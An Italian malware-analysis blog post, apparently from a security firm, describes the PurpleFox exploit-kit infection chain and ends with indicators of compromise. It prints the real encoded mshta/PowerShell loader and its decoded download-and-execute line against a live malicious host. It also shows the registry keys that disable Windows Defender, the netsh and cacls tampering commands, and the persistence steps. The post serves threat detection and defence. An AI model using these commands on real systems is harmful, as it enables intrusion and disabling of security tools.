Nel mese di Gennaio 2021, il team Fortgale ha rilevato e gestito allarmi di sicurezza relativi a dei tentativi di compromissione di postazioni di lavoro eseguiti per mezzo dell’Exploit Kit PurpleFox.

L’immagine che segue rappresenta lo schema della compromissione osservato durante la nostra analisi:

Dettagli del servizio di Difesa Gestita di Fortgale.

Exploit Kit & Purple Fox

Un Exploit Kit è un kit di strumenti offensivi utilizzato dai criminali per compromettere le workstation durante la navigazione Internet. Il Kit sfrutta solitamente vulnerabilità dei Browser e software come Adobe Flash, Java, Microsoft Silverlight.

PurpleFox è un Exploit Kit il cui obiettivo è quello di eseguire codice PowerShell per il download di malware Rootkit. Identificato per la prima volta nel 2018, ecco una lista degli articoli tecnici che hanno trattato questa minaccia:

La Catena di compromissione

1. Avvio della compromissione

Come già osservato in precedenti analisi, l’attacco risulta partire durante la navigazione alla pagina web hxxp://speedjudgmentacceleration[.]com .

Sfruttando una vulnerabilità di Adobe Flash, viene avviata la catena di compromissione della postazione tramite il comando:

mshta vbscript:createobject("wscript.shell").run("PowerShell -nop -windowstyle hidden -exec bypass -EncodedCommand DQAKAGYAbwByACgAJABpAD0AMQA7ACQAaQAgAC0AbABlACAAMQAwADsAJABpACsAKwApAA0ACgB7AA0ACgBpAGUAeAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBhAHcAYwBkAG4ALgBnAGkAdABoAGEAYwBrAC4AYwB5AG8AdQAvAHUAcAAuAHAAaABwAD8AawBlAHkAPQAxACIAKQANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMQA4ADAADQAKAH0ADQAKAA==",0)(window.close)

Decodifica in base64:

for($i=1;$i -le 10;$i++) { iex(new-object net.webclient).downloadstring("http://rawcdn.githack.cyou/up.php?key=1") Start-Sleep 180 }

Questo comando esegue il download (10 tentativi) e l’avvio di altro codice malevolo presente alla pagina hxxp://rawcdn[.]githack[.]cyou/up[.]php?key=1 che contiene ulteriori istruzioni per il payload finale.

2. Modifiche al sistema e controlli

Lo script comincia con la definizione di un nuovo tipo, all’interno del quale verranno importate le funzioni MsiInstallProduct e MsiSetInternalUI della libreria msi.dll, necessarie per l’installazione del malware e per nascondere il pop-up.

Successivamente lo script definisce un blocco di comandi che trasformerà in stringa e codificherà in base64. L’insieme di comandi viene usato per scaricare ed installare, attraverso MsiInstallProduct, una delle due risorse presenti in $msipathALL. Il tutto viene inserito in un loop che termina soltanto se viene trovato il valore di registro HKCU:\Software\7-Zip\StayOnTop

Entrambe le risorse, nonostante presentino estensioni differenti, sono dei file MSI identici (stesso hash). Questo è il payload finale per la compromissione della postazione:

SHA-256 d88ce4ccca6bc536dd3b80374be5e3f5ec9ffd96dc122352386dd4ca9af01cfc

3. Check privilegi amministrativi

Prima di eseguire il comando codificato attraverso una nuova chiamata PowerShell, il malware verifica di avere privilegi amministrativi:

Nel caso di esito negativo, in base all’architettura del sistema, vengono scaricati ed eseguiti script contenenti exploit per effettuare attività di “local privilege escalation“.

x32 hxxp://rawcdn[.]githack[.]cyou/up[.]php?key=3
x64 hxxp://rawcdn[.]githack[.]cyou/up[.]php?key=4

4. Il ruolo del file MSI

Il Rootkit viene scaricato dagli URL:

  • hxxp://rawcdn[.]githack[.]cyou/up.php?key=2
  • hxxp://rawcdn[.]githack[.]com/x7hGFE28oiG8kDre/BGuoFr0ACb9E0frq/afb90fd8276b3530cf1e526e60f8e1d61077e2a5/M001.jpg

Come già evidenziato in precedenza, i file risultano essere entrambi lo stesso dropper sotto forma di installer MSI che, durante il processo di installazione, crea nel sistema i file:

  • un file con estensione .ini
  • un file con estensione .log.xml (in base all’architettura del sistema)

Il malware MSI, dopo aver salvato i due file, effettua alcune modifiche al registro di sistema:

  • crea il valore HKCU:\Software\7-Zip\StayOnTop che verrà usato come controllo per la verifica dell’avvenuta installazione
  • disabilita Windows Defender creando i valori
    HKCU\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware 
    HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
  • imposta delle operazioni da eseguire al riavvio del sistema:
    HKLM\System\CurrentControlSet\Control\SessionManager\PendingFileRenameOperations
    \??\C:\Windows\AppPatch\Acpsens.dll, ,
    \??\C:\Windows\system32\sens.dll, \??\C:\Windows\AppPatch\Acpsens.dll,
    \??\C:\Windows\system32\sens.dll, ,
    \??\C:\Windows\.xml, \??\C:\Windows\system32\sens.dll,
    \??\C:\Windows\AppPatch\Ke583427.xsl, ,
    \??\C:\Windows\.ini, \??\C:\Windows\AppPatch\Ke583427.xsl

5. Modifiche al sistema

Infine, il malware applica delle modifiche al Firewall di sistema (porte TCP e UDP) e modifica i permessi di jscript.dll e cscript.exe

"C:\Windows\SysWOW64\netsh.exe" ipsec static add filterlist name=Filter1
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1
"C:\Windows\SysWOW64\netsh.exe" ipsec static set policy name=qianye assign=y
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\jscript.dll
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\jscript.dll /E /P everyone:N
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\jscript.dll
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\jscript.dll /E /P everyone:N
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\cscript.exe
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\cscript.exe /E /P everyone:N
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\cscript.exe
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\cscript.exe /E /P everyone:N

Il malware termina le attività eseguendo il comando:  

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 900; Restart-Computer -Force

che consiste nel riavvio del sistema dopo 15 minuti, forzando l’esecuzione della libreria  sens.dll alla riaccensione.

Quest’ultima risulta di centrale importanza per la persistenza e il controllo del sistema compromesso. Infatti, sfruttando la creazione di un servizio, il malware viene avviato con la creazione di un processo svchost e la conseguente injection dello shellcode .

Indicatori di Compromissione

SHA-256

  • d88ce4ccca6bc536dd3b80374be5e3f5ec9ffd96dc122352386dd4ca9af01cfc MSI installer

  • 9845e02032d02130bde3ffe2a16ec9706893aa9c8db5712beed6f129a74ffb35 sens.dll (x64)VirusTotal

  • bcefd583e2562fbf38b28118eda0957ac96c3945d12868eaa9bc06f93da5e4db  sens.dll (x32) – VirusTotal

Domini

  • speedjudgmentacceleration[.]com
  • rawcdn[.]githack[.]cyou
  • rawcdn[.]githack[.]com